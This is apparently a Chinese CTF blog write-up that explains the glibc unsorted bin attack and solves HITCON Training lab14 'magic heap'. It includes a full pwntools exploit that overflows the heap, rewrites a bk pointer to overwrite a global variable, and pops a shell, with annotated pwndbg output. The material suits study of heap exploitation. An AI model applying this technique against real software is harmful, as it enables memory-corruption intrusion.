Unsorted bin Attack

Posted by nop on 2020-04-15
Words 1.2k In Total

概述

  • 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针
  • 可以达到的效果是实现修改任意地址值为一个较大的数值

Unsorted bin

基本来源

  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中
  • 当进行 malloc_consolidate 时,可能会把合并后的 chunk(不和top chunk相邻) 放到 unsorted bin 中

使用

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中

原理

当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

所以,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址

Alt

初始状态时 :unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身
free(p) :由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中
修该p[1] : 经过修改 unsorted bin 中的 p 的 bk 指针指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处
在申请 chunk : 假设所申请的 chunk 处于 small bin 所在的范围,但其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。

unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大

实例-HITCON Training lab14 magic heap

基本功能-magic heap

  1. 创建堆:根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。
  2. 编辑堆:根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,存在任意长度堆溢出的漏洞。
  3. 删除堆:根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。

此外,当选择功能时输入 4869,并且 magic 大于 4869时就可以调用l33t拿到shell

利用-magic heap

  1. 释放一个堆块到 unsorted bin 中。
  2. 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
  3. 触发漏洞

exploit-magic heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context.arch='amd64'
context.log_level="DEBUG"

p = process('./magicheap')

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def create(size,content):
ru("Your choice :")
s(1)
ru("Size of Heap : ")
s(size)
ru("Content of heap:")
s(content)

def edit(index,size,content):
ru("Your choice :")
s(2)
ru("Index :")
s(index)
ru("Size of Heap : ")
s(size)
ru("Content of heap : ")
s(content)

def delete(index):
ru("Your choice :")
s(3)
ru("Index :")
s(index)

def l33t():
ru("Your choice :")
s(4869)
itr()

def dbg():
gdb.attach(p)
pause()

create(0x20,'abcd') # id0
create(0x80,'abcd') # id1
create(0x80,'abcd') # id2, inorder to avoid id1 combine with top chunk when we free it

fake_chunk = 0x6020a0 - 0x10
delete(1)
# dbg()
# pwndbg> unsorted
# unsortedbin
# all: 0x11b6030 -> 0x7f679ac5cb78 (main_arena+88) <- 0x11b6030
# pwndbg> x/16g 0x11b6000
# 0x11b6000: 0x0000000000000000 0x0000000000000031
# 0x11b6010: 0x0000000064636261 0x0000000000000000
# 0x11b6020: 0x0000000000000000 0x0000000000000000
# 0x11b6030: 0x0000000000000000 0x0000000000000091
# 0x11b6040: 0x00007f679ac5cb78 0x00007f679ac5cb78
# 0x11b6050: 0x0000000000000000 0x0000000000000000
# 0x11b6060: 0x0000000000000000 0x0000000000000000
# 0x11b6070: 0x0000000000000000 0x0000000000000000
# pwndbg>

payload = p64(0)*5 + p64(0x91) + p64(0) + p64(fake_chunk)
edit(0,len(payload),payload)
# dbg()
# pwndbg> unsorted
# unsortedbin
# all [corrupted]
# FD: 0x714030 <- 0x0
# BK: 0x714030 -> 0x60208d <- 0x0
# pwndbg>

create(0x80,"dada")
# dbg()
# pwndbg> x/4g 0x1412030
# 0x1412030: 0x0000000000000000 0x0000000000000091
# 0x1412040: 0x0000000061646164 0x0000000000602090
# pwndbg> x/4g 0x0000000000602090
# 0x602090 <stdin@@GLIBC_2.2.5>: 0x00007f66fc3a18e0 0x0000000000000000
# 0x6020a0 <magic>: 0x00007f66fc3a1b78 0x0000000000000000
# pwndbg> x/x 0x00007f66fc3a1b78
# 0x7f66fc3a1b78 <main_arena+88>: 0x0000000001412150 <- maigc is bigger than 0x1305
# pwndbg>

l33t()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.